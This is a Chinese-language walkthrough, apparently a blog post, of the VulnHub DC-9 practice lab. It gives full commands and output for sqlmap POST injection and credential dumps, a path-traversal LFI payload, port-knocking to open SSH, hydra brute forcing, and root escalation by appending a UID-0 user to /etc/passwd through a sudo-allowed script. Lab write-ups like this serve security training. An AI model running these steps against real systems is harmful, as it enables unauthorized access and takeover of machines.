靶機下載地址:https://download.vulnhub.com/dc/DC-9.zip
靶機描述:DC-9 是另一個專門構建的易受攻擊的實驗室,旨在獲得滲透測試領域的經驗。這一挑戰的最終目標是獲得root,並閱讀唯一的flag。
涉及漏洞:SQL注入、LFI
攻擊機:Kali/192.168.0.104
一、信息收集
1.探測目標
$ sudo arp-scan -l
或者
$ sudo netdiscover -i eth0
2.查看目標開放端口
$ sudo nmap -sV -p 0-6553 192.168.0.105
目標靶機開放了80端口,22端口顯示被過濾掉了
3.查看網頁相關信息
使用瀏覽器插件Wappalyzer
,這個插件可以檢測網站的CMS,框架,服務器等信息,
但是沒有檢測到CMS信息
二、漏洞查找與利用
1.SQL注入
在頁面發現一個search框,可以查詢用戶信息,與數據庫有交互,猜測可能存在SQL注入,隨便輸入數據查詢,URL框沒有改變,說明是POST方式提交,Burp抓包檢測是否存在SQL注入的可能
可以看出確實存在POST型SQL注入,網站應該對注入做了一些應對措施。過濾啊,屏蔽報錯啊
居然存在注入,話不多說,直接上SQLmap跑
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" --dbs
available databases [3]:
[*] information_schema
[*] Staff
[*] users
--data:指定的數據會被作爲POST數據提交
發現Staff和users數據庫,先看看users庫中有什麼
users數據庫
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" -D users --tables
Database: users
[1 table]
+-------------+
| UserDetails |
+-------------+
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" -D users -T UserDetails --dump
Database: users
Table: UserDetails
[17 entries]
+----+------------+---------------+---------------------+-----------+-----------+
| id | lastname | password | reg_date | username | firstname |
+----+------------+---------------+---------------------+-----------+-----------+
| 1 | Moe | 3kfs86sfd | 2019-12-29 16:58:26 | marym | Mary |
| 2 | Dooley | 468sfdfsd2 | 2019-12-29 16:58:26 | julied | Julie |
| 3 | Flintstone | 4sfd87sfd1 | 2019-12-29 16:58:26 | fredf | Fred |
| 4 | Rubble | RocksOff | 2019-12-29 16:58:26 | barneyr | Barney |
| 5 | Cat | TC&TheBoyz | 2019-12-29 16:58:26 | tomc | Tom |
| 6 | Mouse | B8m#48sd | 2019-12-29 16:58:26 | jerrym | Jerry |
| 7 | Flintstone | Pebbles | 2019-12-29 16:58:26 | wilmaf | Wilma |
| 8 | Rubble | BamBam01 | 2019-12-29 16:58:26 | bettyr | Betty |
| 9 | Bing | UrAG0D! | 2019-12-29 16:58:26 | chandlerb | Chandler |
| 10 | Tribbiani | Passw0rd | 2019-12-29 16:58:26 | joeyt | Joey |
| 11 | Green | yN72#dsd | 2019-12-29 16:58:26 | rachelg | Rachel |
| 12 | Geller | ILoveRachel | 2019-12-29 16:58:26 | rossg | Ross |
| 13 | Geller | 3248dsds7s | 2019-12-29 16:58:26 | monicag | Monica |
| 14 | Buffay | smellycats | 2019-12-29 16:58:26 | phoebeb | Phoebe |
| 15 | McScoots | YR3BVxxxw87 | 2019-12-29 16:58:26 | scoots | Scooter |
| 16 | Trump | Ilovepeepee | 2019-12-29 16:58:26 | janitor | Donald |
| 17 | Morrison | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2 | Scott |
+----+------------+---------------+---------------------+-----------+-----------+
這裏是那些員工這賬號和密碼,後面可能會用到,先放着,然後我們再看看Staff庫裏面有啥
Staff數據庫
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" -D Staff --tables
Database: Staff
[2 tables]
+--------------+
| StaffDetails |
| Users |
+--------------+
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" -D Staff -T StaffDetails --dump
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" -D Staff -T Users --dump
#dump完密碼的時候會提示你是否解密md5,你選擇SQLmap自帶的字典就可以跑出明文密碼
得到用戶名和密碼:admin/transorbital1然後使用這個用戶去站點登錄
2.本地文件包含LFI
登錄後多了Add Record和Manage
頁面,在Manage
的下面發現了一句話File does not exits
,猜測可能存在文件包含漏洞,猜測文件參數是file
?file=../../../../etc/passwd
果然存在LFI漏洞,接下來是fuzz
一下系統文件
[圖片上傳失敗...(image-9da6e3-1593651884334)]
發現了/etc/knockd.conf
,這就和之前nmap
掃描靶機運行了SSH服務,但是狀態是filtered
對應起來了,因爲knockd
可以對SSH進行防護
3.端口敲門
knockd
字面意思是敲,只是這裏敲的是端口
,而且需要按照順序‘敲’端口。如果敲擊規則匹配,則可以讓防火牆實時更改策略。從而達到開關防火牆的目的。
更多詳細請看:
看一下/etc/knockd.conf
文件中的自定義端口
有3個自定義端口7469,8475,9842
,根據Port-knocking
的規則依次訪問這三個端口就可以打開SSH服務了
sudo nmap -p 7469 192.168.0.105
sudo nmap -p 8475 192.168.0.105
sudo nmap -p 9842 192.168.0.105
或者安裝knockd
knock 192.168.0.105 7469 8475 9842
現在我們看一哈ssh服務被敲開沒有
sudo nmap -p 22 192.168.0.105
不出所料SSH服務被成功敲開
4.hydra爆破SSH賬戶
將前面所爆出來的那些員工的賬號和密碼編寫成兩個字典,進行ssh爆破
username.txt | password.txt |
---|---|
hydra -L username.txt -P password.txt ssh://192.168.0.105
爆破出來有3個用戶可用,chandlerb\UrAG0D!
、joeyt\Passw0rd
、janitor\Ilovepeepee
依次登錄3個用戶,最終在用戶janitor
的目錄下找到了隱藏文件
ssh [email protected]
UrAG0D!
ssh [email protected]
Passw0rd
ssh [email protected]
Ilovepeepee
.secrets-for-putin
隱藏文件中有一個可讀文件,打開後這好像是存放的用戶密碼,然後把這些密碼再加進剛剛我們編寫的password.txt
字典中重新再爆破一次看看
爆破出了一個新的用戶號:fredf\B4-Tru3-001
三、提升權限
使用fredf
用戶登錄靶機
ssh [email protected]
B4-Tru3-001
列出sudo權限的命令,這裏發現fred用戶在NOPASSWD
的情況下可以使用root權限運行這個test文件
sudo -l
嘗試運行,發現它是一個python文件
使用find查找test.py文件
find / -name test.py 2>/dev/null
2>/dev/null 代表忽略掉錯誤提示信息。
查看test.py
py文件的含義爲:讀取參數1的內容,然後將參數1的內容寫入到參數2的內容中。
那我們可以構造一個root權限用戶,將該用戶信息寫入文件內,將改文件作爲參數1,/etc/passwd
作爲參數2,這樣就創建了一個root權限用戶,就能實現提權了
構造參數1
openssl passwd -1 -salt admin 123456
-1 的意思是使用md5加密算法
-salt 自動插入一個隨機數作爲文件內容加密
admin 123456 用戶名和密碼
根據/etc/passwd
的格式,修改一下,然後存入一個文件裏,這個文件就是參數1
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
# 用戶名:密碼:uid:gid:家目錄:登陸後使用的shell
sudo ./test /tmp/passwd /etc/passwd
su admin
cd /root
ls
cat theflag.txt
前往我的個人博客看更多:https://jwt1399.top